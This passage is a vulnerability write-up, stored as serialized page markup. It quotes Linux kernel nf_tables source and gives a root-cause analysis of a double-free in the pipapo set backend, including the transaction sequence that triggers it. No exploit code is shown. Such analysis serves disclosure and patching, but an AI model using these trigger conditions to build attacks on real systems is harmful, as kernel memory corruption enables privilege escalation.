continue",{"type":23,"tag":213,"props":51546,"children":51547},{"style":220},[51548],{"type":28,"value":313},{"type":23,"tag":213,"props":51550,"children":51551},{"class":215,"line":1851},[51552],{"type":23,"tag":213,"props":51553,"children":51554},{"emptyLinePlaceholder":18},[51555],{"type":28,"value":530},{"type":23,"tag":213,"props":51557,"children":51558},{"class":215,"line":1864},[51559,51564,51568,51572,51576,51580,51584,51588],{"type":23,"tag":213,"props":51560,"children":51561},{"style":220},[51562],{"type":28,"value":51563}," e ",{"type":23,"tag":213,"props":51565,"children":51566},{"style":274},[51567],{"type":28,"value":3190},{"type":23,"tag":213,"props":51569,"children":51570},{"style":268},[51571],{"type":28,"value":33027},{"type":23,"tag":213,"props":51573,"children":51574},{"style":220},[51575],{"type":28,"value":303},{"type":23,"tag":213,"props":51577,"children":51578},{"style":268},[51579],{"type":28,"value":51485},{"type":23,"tag":213,"props":51581,"children":51582},{"style":220},[51583],{"type":28,"value":51528},{"type":23,"tag":213,"props":51585,"children":51586},{"style":268},[51587],{"type":28,"value":51507},{"type":23,"tag":213,"props":51589,"children":51590},{"style":220},[51591],{"type":28,"value":313},{"type":23,"tag":213,"props":51593,"children":51594},{"class":215,"line":1890},[51595],{"type":23,"tag":213,"props":51596,"children":51597},{"emptyLinePlaceholder":18},[51598],{"type":28,"value":530},{"type":23,"tag":213,"props":51600,"children":51601},{"class":215,"line":1899},[51602,51607,51612,51616,51620,51624,51629],{"type":23,"tag":213,"props":51603,"children":51604},{"style":257},[51605],{"type":28,"value":51606}," nf_tables_set_elem_destroy",{"type":23,"tag":213,"props":51608,"children":51609},{"style":220},[51610],{"type":28,"value":51611},"(ctx, set, ",{"type":23,"tag":213,"props":51613,"children":51614},{"style":274},[51615],{"type":28,"value":405},{"type":23,"tag":213,"props":51617,"children":51618},{"style":268},[51619],{"type":28,"value":51507},{"type":23,"tag":213,"props":51621,"children":51622},{"style":220},[51623],{"type":28,"value":303},{"type":23,"tag":213,"props":51625,"children":51626},{"style":268},[51627],{"type":28,"value":51628},"priv",{"type":23,"tag":213,"props":51630,"children":51631},{"style":220},[51632],{"type":28,"value":2867},{"type":23,"tag":213,"props":51634,"children":51635},{"class":215,"line":1912},[51636],{"type":23,"tag":213,"props":51637,"children":51638},{"style":220},[51639],{"type":28,"value":9680},{"type":23,"tag":213,"props":51641,"children":51642},{"class":215,"line":1921},[51643],{"type":23,"tag":213,"props":51644,"children":51645},{"style":220},[51646],{"type":28,"value":1208},{"type":23,"tag":24,"props":51648,"children":51649},{},[51650,51652,51658,51660,51665],{"type":28,"value":51651},"Which will then ",{"type":23,"tag":209,"props":51653,"children":51655},{"className":51654},[],[51656],{"type":28,"value":51657},"kfree()",{"type":28,"value":51659}," the ",{"type":23,"tag":209,"props":51661,"children":51663},{"className":51662},[],[51664],{"type":28,"value":51064},{"type":28,"value":124},{"type":23,"tag":202,"props":51667,"children":51669},{"className":16566,"code":51668,"language":3244,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[51670],{"type":23,"tag":209,"props":51671,"children":51672},{"__ignoreMap":7},[51673,51714,51742,51771,51778,51813,51820,51841,51864,51871,51884],{"type":23,"tag":213,"props":51674,"children":51675},{"class":215,"line":216},[51676,51681,51686,51690,51694,51698,51702,51706,51710],{"type":23,"tag":213,"props":51677,"children":51678},{"style":230},[51679],{"type":28,"value":51680},"void",{"type":23,"tag":213,"props":51682,"children":51683},{"style":257},[51684],{"type":28,"value":51685}," nf_tables_set_elem_destroy",{"type":23,"tag":213,"props":51687,"children":51688},{"style":220},[51689],{"type":28,"value":265},{"type":23,"tag":213,"props":51691,"children":51692},{"style":230},[51693],{"type":28,"value":632},{"type":23,"tag":213,"props":51695,"children":51696},{"style":230},[51697],{"type":28,"value":887},{"type":23,"tag":213,"props":51699,"children":51700},{"style":220},[51701],{"type":28,"value":51124},{"type":23,"tag":213,"props":51703,"children":51704},{"style":274},[51705],{"type":28,"value":1696},{"type":23,"tag":213,"props":51707,"children":51708},{"style":268},[51709],{"type":28,"value":20335},{"type":23,"tag":213,"props":51711,"children":51712},{"style":220},[51713],{"type":28,"value":944},{"type":23,"tag":213,"props":51715,"children":51716},{"class":215,"line":226},[51717,51722,51726,51730,51734,51738],{"type":23,"tag":213,"props":51718,"children":51719},{"style":230},[51720],{"type":28,"value":51721}," const",{"type":23,"tag":213,"props":51723,"children":51724},{"style":230},[51725],{"type":28,"value":887},{"type":23,"tag":213,"props":51727,"children":51728},{"style":220},[51729],{"type":28,"value":51152},{"type":23,"tag":213,"props":51731,"children":51732},{"style":274},[51733],{"type":28,"value":1696},{"type":23,"tag":213,"props":51735,"children":51736},{"style":268},[51737],{"type":28,"value":51072},{"type":23,"tag":213,"props":51739,"children":51740},{"style":220},[51741],{"type":28,"value":944},{"type":23,"tag":213,"props":51743,"children":51744},{"class":215,"line":524},[51745,51749,51753,51758,51762,51767],{"type":23,"tag":213,"props":51746,"children":51747},{"style":230},[51748],{"type":28,"value":51721},{"type":23,"tag":213,"props":51750,"children":51751},{"style":230},[51752],{"type":28,"value":887},{"type":23,"tag":213,"props":51754,"children":51755},{"style":220},[51756],{"type":28,"value":51757}," nft_elem_priv ",{"type":23,"tag":213,"props":51759,"children":51760},{"style":274},[51761],{"type":28,"value":1696},{"type":23,"tag":213,"props":51763,"children":51764},{"style":268},[51765],{"type":28,"value":51766},"elem_priv",{"type":23,"tag":213,"props":51768,"children":51769},{"style":220},[51770],{"type":28,"value":2183},{"type":23,"tag":213,"props":51772,"children":51773},{"class":215,"line":533},[51774],{"type":23,"tag":213,"props":51775,"children":51776},{"style":220},[51777],{"type":28,"value":10964},{"type":23,"tag":213,"props":51779,"children":51780},{"class":215,"line":543},[51781,51785,51790,51794,51799,51803,51808],{"type":23,"tag":213,"props":51782,"children":51783},{"style":230},[51784],{"type":28,"value":887},{"type":23,"tag":213,"props":51786,"children":51787},{"style":220},[51788],{"type":28,"value":51789}," nft_set_ext ",{"type":23,"tag":213,"props":51791,"children":51792},{"style":274},[51793],{"type":28,"value":1696},{"type":23,"tag":213,"props":51795,"children":51796},{"style":220},[51797],{"type":28,"value":51798},"ext ",{"type":23,"tag":213,"props":51800,"children":51801},{"style":274},[51802],{"type":28,"value":3190},{"type":23,"tag":213,"props":51804,"children":51805},{"style":257},[51806],{"type":28,"value":51807}," nft_set_elem_ext",{"type":23,"tag":213,"props":51809,"children":51810},{"style":220},[51811],{"type":28,"value":51812},"(set, elem_priv);\n",{"type":23,"tag":213,"props":51814,"children":51815},{"class":215,"line":551},[51816],{"type":23,"tag":213,"props":51817,"children":51818},{"emptyLinePlaceholder":18},[51819],{"type":28,"value":530},{"type":23,"tag":213,"props":51821,"children":51822},{"class":215,"line":570},[51823,51827,51831,51836],{"type":23,"tag":213,"props":51824,"children":51825},{"style":1362},[51826],{"type":28,"value":15839},{"type":23,"tag":213,"props":51828,"children":51829},{"style":220},[51830],{"type":28,"value":400},{"type":23,"tag":213,"props":51832,"children":51833},{"style":257},[51834],{"type":28,"value":51835},"nft_set_ext_exists",{"type":23,"tag":213,"props":51837,"children":51838},{"style":220},[51839],{"type":28,"value":51840},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":23,"tag":213,"props":51842,"children":51843},{"class":215,"line":655},[51844,51849,51854,51859],{"type":23,"tag":213,"props":51845,"children":51846},{"style":257},[51847],{"type":28,"value":51848}," nft_set_elem_expr_destroy",{"type":23,"tag":213,"props":51850,"children":51851},{"style":220},[51852],{"type":28,"value":51853},"(ctx, ",{"type":23,"tag":213,"props":51855,"children":51856},{"style":257},[51857],{"type":28,"value":51858},"nft_set_ext_expr",{"type":23,"tag":213,"props":51860,"children":51861},{"style":220},[51862],{"type":28,"value":51863},"(ext));\n",{"type":23,"tag":213,"props":51865,"children":51866},{"class":215,"line":1176},[51867],{"type":23,"tag":213,"props":51868,"children":51869},{"emptyLinePlaceholder":18},[51870],{"type":28,"value":530},{"type":23,"tag":213,"props":51872,"children":51873},{"class":215,"line":1202},[51874,51879],{"type":23,"tag":213,"props":51875,"children":51876},{"style":257},[51877],{"type":28,"value":51878}," kfree",{"type":23,"tag":213,"props":51880,"children":51881},{"style":220},[51882],{"type":28,"value":51883},"(elem_priv);\n",{"type":23,"tag":213,"props":51885,"children":51886},{"class":215,"line":1758},[51887],{"type":23,"tag":213,"props":51888,"children":51889},{"style":220},[51890],{"type":28,"value":1208},{"type":23,"tag":24,"props":51892,"children":51893},{},[51894,51895,51901,51903,51908,51910,51915,51917,51922,51923,51928,51930,51935,51937,51942,51944,51949],{"type":28,"value":2623},{"type":23,"tag":209,"props":51896,"children":51898},{"className":51897},[],[51899],{"type":28,"value":51900},"nft_pipapo_match",{"type":28,"value":51902}," objects contain views of the ",{"type":23,"tag":209,"props":51904,"children":51906},{"className":51905},[],[51907],{"type":28,"value":51064},{"type":28,"value":51909},"'s of a ",{"type":23,"tag":209,"props":51911,"children":51913},{"className":51912},[],[51914],{"type":28,"value":51072},{"type":28,"value":51916},". The difference between the ",{"type":23,"tag":209,"props":51918,"children":51920},{"className":51919},[],[51921],{"type":28,"value":51049},{"type":28,"value":1466},{"type":23,"tag":209,"props":51924,"children":51926},{"className":51925},[],[51927],{"type":28,"value":51033},{"type":28,"value":51929}," match objects is that the clone has a view of not only already committed ",{"type":23,"tag":209,"props":51931,"children":51933},{"className":51932},[],[51934],{"type":28,"value":51064},{"type":28,"value":51936},"'s that the \"normal\" one has but also a view of the ",{"type":23,"tag":209,"props":51938,"children":51940},{"className":51939},[],[51941],{"type":28,"value":51064},{"type":28,"value":51943},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":23,"tag":209,"props":51945,"children":51947},{"className":51946},[],[51948],{"type":28,"value":51049},{"type":28,"value":124},{"type":23,"tag":9693,"props":51951,"children":51953},{"id":51952},"root-cause-analysis",[51954],{"type":28,"value":51955},"Root-cause analysis",{"type":23,"tag":24,"props":51957,"children":51958},{},[51959,51961,51967,51969,51974],{"type":28,"value":51960},"So ",{"type":23,"tag":209,"props":51962,"children":51964},{"className":51963},[],[51965],{"type":28,"value":51966},"nf_tables_set_elem_destroy",{"type":28,"value":51968}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":23,"tag":209,"props":51970,"children":51972},{"className":51971},[],[51973],{"type":28,"value":51064},{"type":28,"value":51975},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":23,"tag":24,"props":51977,"children":51978},{},[51979,51981,51986,51988,51993,51995,52000,52002,52007,52009,52014],{"type":28,"value":51980},"We should now try to understand how to reach that path with the ",{"type":23,"tag":209,"props":51982,"children":51984},{"className":51983},[],[51985],{"type":28,"value":51026},{"type":28,"value":51987}," flag set, which is a member of the private data of a pipapo ",{"type":23,"tag":209,"props":51989,"children":51991},{"className":51990},[],[51992],{"type":28,"value":51064},{"type":28,"value":51994}," that becomes true whenever a change is made to the ",{"type":23,"tag":209,"props":51996,"children":51998},{"className":51997},[],[51999],{"type":28,"value":51072},{"type":28,"value":52001}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":23,"tag":209,"props":52003,"children":52005},{"className":52004},[],[52006],{"type":28,"value":51072},{"type":28,"value":52008}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":23,"tag":209,"props":52010,"children":52012},{"className":52011},[],[52013],{"type":28,"value":51072},{"type":28,"value":52015}," dirty by inserting a new element.",{"type":23,"tag":202,"props":52017,"children":52019},{"className":16566,"code":52018,"language":3244,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[52020],{"type":23,"tag":209,"props":52021,"children":52022},{"__ignoreMap":7},[52023,52093,52122,52147,52154,52161,52190,52197],{"type":23,"tag":213,"props":52024,"children":52025},{"class":215,"line":216},[52026,52030,52034,52039,52043,52047,52051,52056,52060,52065,52069,52073,52077,52081,52085,52089],{"type":23,"tag":213,"props":52027,"children":52028},{"style":230},[52029],{"type":28,"value":51097},{"type":23,"tag":213,"props":52031,"children":52032},{"style":230},[52033],{"type":28,"value":51226},{"type":23,"tag":213,"props":52035,"children":52036},{"style":257},[52037],{"type":28,"value":52038}," nft_pipapo_insert",{"type":23,"tag":213,"props":52040,"children":52041},{"style":220},[52042],{"type":28,"value":265},{"type":23,"tag":213,"props":52044,"children":52045},{"style":230},[52046],{"type":28,"value":632},{"type":23,"tag":213,"props":52048,"children":52049},{"style":230},[52050],{"type":28,"value":887},{"type":23,"tag":213,"props":52052,"children":52053},{"style":220},[52054],{"type":28,"value":52055}," net ",{"type":23,"tag":213,"props":52057,"children":52058},{"style":274},[52059],{"type":28,"value":1696},{"type":23,"tag":213,"props":52061,"children":52062},{"style":268},[52063],{"type":28,"value":52064},"net",{"type":23,"tag":213,"props":52066,"children":52067},{"style":220},[52068],{"type":28,"value":424},{"type":23,"tag":213,"props":52070,"children":52071},{"style":230},[52072],{"type":28,"value":632},{"type":23,"tag":213,"props":52074,"children":52075},{"style":230},[52076],{"type":28,"value":887},{"type":23,"tag":213,"props":52078,"children":52079},{"style":220},[52080],{"type":28,"value":51152},{"type":23,"tag":213,"props":52082,"children":52083},{"style":274},[52084],{"type":28,"value":1696},{"type":23,"tag":213,"props":52086,"children":52087},{"style":268},[52088],{"type":28,"value":51072},{"type":23,"tag":213,"props":52090,"children":52091},{"style":220},[52092],{"type":28,"value":944},{"type":23,"tag":213,"props":52094,"children":52095},{"class":215,"line":226},[52096,52100,52104,52109,52113,52118],{"type":23,"tag":213,"props":52097,"children":52098},{"style":230},[52099],{"type":28,"value":32957},{"type":23,"tag":213,"props":52101,"children":52102},{"style":230},[52103],{"type":28,"value":887},{"type":23,"tag":213,"props":52105,"children":52106},{"style":220},[52107],{"type":28,"value":52108}," nft_set_elem ",{"type":23,"tag":213,"props":52110,"children":52111},{"style":274},[52112],{"type":28,"value":1696},{"type":23,"tag":213,"props":52114,"children":52115},{"style":268},[52116],{"type":28,"value":52117},"elem",{"type":23,"tag":213,"props":52119,"children":52120},{"style":220},[52121],{"type":28,"value":944},{"type":23,"tag":213,"props":52123,"children":52124},{"class":215,"line":524},[52125,52130,52134,52139,52143],{"type":23,"tag":213,"props":52126,"children":52127},{"style":230},[52128],{"type":28,"value":52129}," struct",{"type":23,"tag":213,"props":52131,"children":52132},{"style":220},[52133],{"type":28,"value":51757},{"type":23,"tag":213,"props":52135,"children":52136},{"style":274},[52137],{"type":28,"value":52138},"**",{"type":23,"tag":213,"props":52140,"children":52141},{"style":268},[52142],{"type":28,"value":51766},{"type":23,"tag":213,"props":52144,"children":52145},{"style":220},[52146],{"type":28,"value":2183},{"type":23,"tag":213,"props":52148,"children":52149},{"class":215,"line":533},[52150],{"type":23,"tag":213,"props":52151,"children":52152},{"style":220},[52153],{"type":28,"value":10964},{"type":23,"tag":213,"props":52155,"children":52156},{"class":215,"line":543},[52157],{"type":23,"tag":213,"props":52158,"children":52159},{"style":220},[52160],{"type":28,"value":10401},{"type":23,"tag":213,"props":52162,"children":52163},{"class":215,"line":551},[52164,52169,52173,52178,52182,52186],{"type":23,"tag":213,"props":52165,"children":52166},{"style":268},[52167],{"type":28,"value":52168}," priv",{"type":23,"tag":213,"props":52170,"children":52171},{"style":220},[52172],{"type":28,"value":303},{"type":23,"tag":213,"props":52174,"children":52175},{"style":268},[52176],{"type":28,"value":52177},"dirty",{"type":23,"tag":213,"props":52179,"children":52180},{"style":274},[52181],{"type":28,"value":511},{"type":23,"tag":213,"props":52183,"children":52184},{"style":230},[52185],{"type":28,"value":12551},{"type":23,"tag":213,"props":52187,"children":52188},{"style":220},[52189],{"type":28,"value":313},{"type":23,"tag":213,"props":52191,"children":52192},{"class":215,"line":570},[52193],{"type":23,"tag":213,"props":52194,"children":52195},{"style":220},[52196],{"type":28,"value":10401},{"type":23,"tag":213,"props":52198,"children":52199},{"class":215,"line":655},[52200],{"type":23,"tag":213,"props":52201,"children":52202},{"style":220},[52203],{"type":28,"value":1208},{"type":23,"tag":24,"props":52205,"children":52206},{},[52207],{"type":28,"value":52208},"We also see that when the changes are commited, this flag is then unset.",{"type":23,"tag":202,"props":52210,"children":52212},{"className":16566,"code":52211,"language":3244,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[52213],{"type":23,"tag":209,"props":52214,"children":52215},{"__ignoreMap":7},[52216,52256,52263,52270,52301,52312,52319,52346,52353],{"type":23,"tag":213,"props":52217,"children":52218},{"class":215,"line":216},[52219,52223,52227,52232,52236,52240,52244,52248,52252],{"type":23,"tag":213,"props":52220,"children":52221},{"style":230},[52222],{"type":28,"value":51097},{"type":23,"tag":213,"props":52224,"children":52225},{"style":230},[52226],{"type":28,"value":51102},{"type":23,"tag":213,"props":52228,"children":52229},{"style":257},[52230],{"type":28,"value":52231}," nft_pipapo_commit",{"type":23,"tag":213,"props":52233,"children":52234},{"style":220},[52235],{"type":28,"value":265},{"type":23,"tag":213,"props":52237,"children":52238},{"style":230},[52239],{"type":28,"value":9486},{"type":23,"tag":213,"props":52241,"children":52242},{"style":220},[52243],{"type":28,"value":51152},{"type":23,"tag":213,"props":52245,"children":52246},{"style":274},[52247],{"type":28,"value":1696},{"type":23,"tag":213,"props":52249,"children":52250},{"style":268},[52251],{"type":28,"value":51072},{"type":23,"tag":213,"props":52253,"children":52254},{"style":220},[52255],{"type":28,"value":2183},{"type":23,"tag":213,"props":52257,"children":52258},{"class":215,"line":226},[52259],{"type":23,"tag":213,"props":52260,"children":52261},{"style":220},[52262],{"type":28,"value":10964},{"type":23,"tag":213,"props":52264,"children":52265},{"class":215,"line":524},[52266],{"type":23,"tag":213,"props":52267,"children":52268},{"style":220},[52269],{"type":28,"value":10401},{"type":23,"tag":213,"props":52271,"children":52272},{"class":215,"line":533},[52273,52277,52281,52285,52289,52293,52297],{"type":23,"tag":213,"props":52274,"children":52275},{"style":1362},[52276],{"type":28,"value":15839},{"type":23,"tag":213,"props":52278,"children":52279},{"style":220},[52280],{"type":28,"value":400},{"type":23,"tag":213,"props":52282,"children":52283},{"style":274},[52284],{"type":28,"value":20675},{"type":23,"tag":213,"props":52286,"children":52287},{"style":268},[52288],{"type":28,"value":51628},{"type":23,"tag":213,"props":52290,"children":52291},{"style":220},[52292],{"type":28,"value":303},{"type":23,"tag":213,"props":52294,"children":52295},{"style":268},[52296],{"type":28,"value":52177},{"type":23,"tag":213,"props":52298,"children":52299},{"style":220},[52300],{"type":28,"value":2183},{"type":23,"tag":213,"props":52302,"children":52303},{"class":215,"line":543},[52304,52308],{"type":23,"tag":213,"props":52305,"children":52306},{"style":1362},[52307],{"type":28,"value":39256},{"type":23,"tag":213,"props":52309,"children":52310},{"style":220},[52311],{"type":28,"value":313},{"type":23,"tag":213,"props":52313,"children":52314},{"class":215,"line":551},[52315],{"type":23,"tag":213,"props":52316,"children":52317},{"style":220},[52318],{"type":28,"value":10401},{"type":23,"tag":213,"props":52320,"children":52321},{"class":215,"line":570},[52322,52326,52330,52334,52338,52342],{"type":23,"tag":213,"props":52323,"children":52324},{"style":268},[52325],{"type":28,"value":52168},{"type":23,"tag":213,"props":52327,"children":52328},{"style":220},[52329],{"type":28,"value":303},{"type":23,"tag":213,"props":52331,"children":52332},{"style":268},[52333],{"type":28,"value":52177},{"type":23,"tag":213,"props":52335,"children":52336},{"style":274},[52337],{"type":28,"value":511},{"type":23,"tag":213,"props":52339,"children":52340},{"style":230},[52341],{"type":28,"value":9143},{"type":23,"tag":213,"props":52343,"children":52344},{"style":220},[52345],{"type":28,"value":313},{"type":23,"tag":213,"props":52347,"children":52348},{"class":215,"line":655},[52349],{"type":23,"tag":213,"props":52350,"children":52351},{"style":220},[52352],{"type":28,"value":10401},{"type":23,"tag":213,"props":52354,"children":52355},{"class":215,"line":1176},[52356],{"type":23,"tag":213,"props":52357,"children":52358},{"style":220},[52359],{"type":28,"value":1208},{"type":23,"tag":24,"props":52361,"children":52362},{},[52363,52365,52370,52372,52377,52379,52384,52386,52391,52393,52399,52401,52407,52409,52414],{"type":28,"value":52364},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":23,"tag":209,"props":52366,"children":52368},{"className":52367},[],[52369],{"type":28,"value":51064},{"type":28,"value":52371}," in the ",{"type":23,"tag":209,"props":52373,"children":52375},{"className":52374},[],[52376],{"type":28,"value":51072},{"type":28,"value":52378}," to make it dirty and then delete the ",{"type":23,"tag":209,"props":52380,"children":52382},{"className":52381},[],[52383],{"type":28,"value":51072},{"type":28,"value":52385},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":23,"tag":209,"props":52387,"children":52389},{"className":52388},[],[52390],{"type":28,"value":51072},{"type":28,"value":52392},"'s ",{"type":23,"tag":209,"props":52394,"children":52396},{"className":52395},[],[52397],{"type":28,"value":52398},"->commit()",{"type":28,"value":52400}," method is executed before its ",{"type":23,"tag":209,"props":52402,"children":52404},{"className":52403},[],[52405],{"type":28,"value":52406},"->destroy()",{"type":28,"value":52408}," method, then the ",{"type":23,"tag":209,"props":52410,"children":52412},{"className":52411},[],[52413],{"type":28,"value":52177},{"type":28,"value":52415}," flag will be unset, and we won't be able to trigger the double-free.",{"type":23,"tag":24,"props":52417,"children":52418},{},[52419],{"type":28,"value":52420},"Let's once again refer to the code and see how these methods are called.",{"type":23,"tag":202,"props":52422,"children":52424},{"className":16566,"code":52423,"language":3244,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[52425],{"type":23,"tag":209,"props":52426,"children":52427},{"__ignoreMap":7},[52428,52490,52497,52504,52512,52525,52560,52594,52636,52658,52670,52683,52690,52738,52779,52819,52832,52839,52846,52853,52860,52885,52892,52905,52912,52928],{"type":23,"tag":213,"props":52429,"children":52430},{"class":215,"line":216},[52431,52435,52439,52444,52448,52452,52456,52460,52464,52468,52472,52477,52481,52486],{"type":23,"tag":213,"props":52432,"children":52433},{"style":230},[52434],{"type":28,"value":51097},{"type":23,"tag":213,"props":52436,"children":52437},{"style":230},[52438],{"type":28,"value":51226},{"type":23,"tag":213,"props":52440,"children":52441},{"style":257},[52442],{"type":28,"value":52443}," nf_tables_commit",{"type":23,"tag":213,"props":52445,"children":52446},{"style":220},[52447],{"type":28,"value":265},{"type":23,"tag":213,"props":52449,"children":52450},{"style":230},[52451],{"type":28,"value":9486},{"type":23,"tag":213,"props":52453,"children":52454},{"style":220},[52455],{"type":28,"value":52055},{"type":23,"tag":213,"props":52457,"children":52458},{"style":274},[52459],{"type":28,"value":1696},{"type":23,"tag":213,"props":52461,"children":52462},{"style":268},[52463],{"type":28,"value":52064},{"type":23,"tag":213,"props":52465,"children":52466},{"style":220},[52467],{"type":28,"value":424},{"type":23,"tag":213,"props":52469,"children":52470},{"style":230},[52471],{"type":28,"value":9486},{"type":23,"tag":213,"props":52473,"children":52474},{"style":220},[52475],{"type":28,"value":52476}," sk_buff ",{"type":23,"tag":213,"props":52478,"children":52479},{"style":274},[52480],{"type":28,"value":1696},{"type":23,"tag":213,"props":52482,"children":52483},{"style":268},[52484],{"type":28,"value":52485},"skb",{"type":23,"tag":213,"props":52487,"children":52488},{"style":220},[52489],{"type":28,"value":2183},{"type":23,"tag":213,"props":52491,"children":52492},{"class":215,"line":226},[52493],{"type":23,"tag":213,"props":52494,"children":52495},{"style":220},[52496],{"type":28,"value":10964},{"type":23,"tag":213,"props":52498,"children":52499},{"class":215,"line":524},[52500],{"type":23,"tag":213,"props":52501,"children":52502},{"style":220},[52503],{"type":28,"value":10401},{"type":23,"tag":213,"props":52505,"children":52506},{"class":215,"line":533},[52507],{"type":23,"tag":213,"props":52508,"children":52509},{"style":220},[52510],{"type":28,"value":52511}," case NFT_MSG_DELSET:\n",{"type":23,"tag":213,"props":52513,"children":52514},{"class":215,"line":543},[52515,52520],{"type":23,"tag":213,"props":52516,"children":52517},{"style":220},[52518],{"type":28,"value":52519}," case NFT_MSG_DESTROYSET:",{"type":23,"tag":213,"props":52521,"children":52522},{"style":537},[52523],{"type":28,"value":52524}," // [1]\n",{"type":23,"tag":213,"props":52526,"children":52527},{"class":215,"line":551},[52528,52533,52538,52543,52547,52551,52555],{"type":23,"tag":213,"props":52529,"children":52530},{"style":257},[52531],{"type":28,"value":52532}," nft_trans_set",{"type":23,"tag":213,"props":52534,"children":52535},{"style":220},[52536],{"type":28,"value":52537},"(trans)->",{"type":23,"tag":213,"props":52539,"children":52540},{"style":268},[52541],{"type":28,"value":52542},"dead",{"type":23,"tag":213,"props":52544,"children":52545},{"style":274},[52546],{"type":28,"value":511},{"type":23,"tag":213,"props":52548,"children":52549},{"style":514},[52550],{"type":28,"value":4618},{"type":23,"tag":213,"props":52552,"children":52553},{"style":220},[52554],{"type":28,"value":49126},{"type":23,"tag":213,"props":52556,"children":52557},{"style":537},[52558],{"type":28,"value":52559}," // [2]\n",{"type":23,"tag":213,"props":52561,"children":52562},{"class":215,"line":570},[52563,52568,52572,52576,52581,52585,52590],{"type":23,"tag":213,"props":52564,"children":52565},{"style":257},[52566],{"type":28,"value":52567}," list_del_rcu",{"type":23,"tag":213,"props":52569,"children":52570},{"style":220},[52571],{"type":28,"value":265},{"type":23,"tag":213,"props":52573,"children":52574},{"style":274},[52575],{"type":28,"value":405},{"type":23,"tag":213,"props":52577,"children":52578},{"style":257},[52579],{"type":28,"value":52580},"nft_trans_set",{"type":23,"tag":213,"props":52582,"children":52583},{"style":220},[52584],{"type":28,"value":52537},{"type":23,"tag":213,"props":52586,"children":52587},{"style":268},[52588],{"type":28,"value":52589},"list",{"type":23,"tag":213,"props":52591,"children":52592},{"style":220},[52593],{"type":28,"value":2867},{"type":23,"tag":213,"props":52595,"children":52596},{"class":215,"line":655},[52597,52602,52606,52610,52615,52619,52623,52627,52631],{"type":23,"tag":213,"props":52598,"children":52599},{"style":257},[52600],{"type":28,"value":52601}," nf_tables_set_notify",{"type":23,"tag":213,"props":52603,"children":52604},{"style":220},[52605],{"type":28,"value":265},{"type":23,"tag":213,"props":52607,"children":52608},{"style":274},[52609],{"type":28,"value":405},{"type":23,"tag":213,"props":52611,"children":52612},{"style":268},[52613],{"type":28,"value":52614},"trans",{"type":23,"tag":213,"props":52616,"children":52617},{"style":220},[52618],{"type":28,"value":303},{"type":23,"tag":213,"props":52620,"children":52621},{"style":268},[52622],{"type":28,"value":20335},{"type":23,"tag":213,"props":52624,"children":52625},{"style":220},[52626],{"type":28,"value":424},{"type":23,"tag":213,"props":52628,"children":52629},{"style":257},[52630],{"type":28,"value":52580},{"type":23,"tag":213,"props":52632,"children":52633},{"style":220},[52634],{"type":28,"value":52635},"(trans),\n",{"type":23,"tag":213,"props":52637,"children":52638},{"class":215,"line":1176},[52639,52644,52648,52653],{"type":23,"tag":213,"props":52640,"children":52641},{"style":268},[52642],{"type":28,"value":52643}," trans",{"type":23,"tag":213,"props":52645,"children":52646},{"style":220},[52647],{"type":28,"value":303},{"type":23,"tag":213,"props":52649,"children":52650},{"style":268},[52651],{"type":28,"value":52652},"msg_type",{"type":23,"tag":213,"props":52654,"children":52655},{"style":220},[52656],{"type":28,"value":52657},", GFP_KERNEL);\n",{"type":23,"tag":213,"props":52659,"children":52660},{"class":215,"line":1202},[52661,52666],{"type":23,"tag":213,"props":52662,"children":52663},{"style":1362},[52664],{"type":28,"value":52665}," break",{"type":23,"tag":213,"props":52667,"children":52668},{"style":220},[52669],{"type":28,"value":313},{"type":23,"tag":213,"props":52671,"children":52672},{"class":215,"line":1758},[52673,52678],{"type":23,"tag":213,"props":52674,"children":52675},{"style":220},[52676],{"type":28,"value":52677}," case NFT_MSG_NEWSETELEM:",{"type":23,"tag":213,"props":52679,"children":52680},{"style":537},[52681],{"type":28,"value":52682}," // [3]\n",{"type":23,"tag":213,"props":52684,"children":52685},{"class":215,"line":1767},[52686],{"type":23,"tag":213,"props":52687,"children":52688},{"style":220},[52689],{"type":28,"value":10401},{"type":23,"tag":213,"props":52691,"children":52692},{"class":215,"line":1789},[52693,52698,52702,52707,52711,52715,52719,52724,52728,52733],{"type":23,"tag":213,"props":52694,"children":52695},{"style":1362},[52696],{"type":28,"value":52697}," 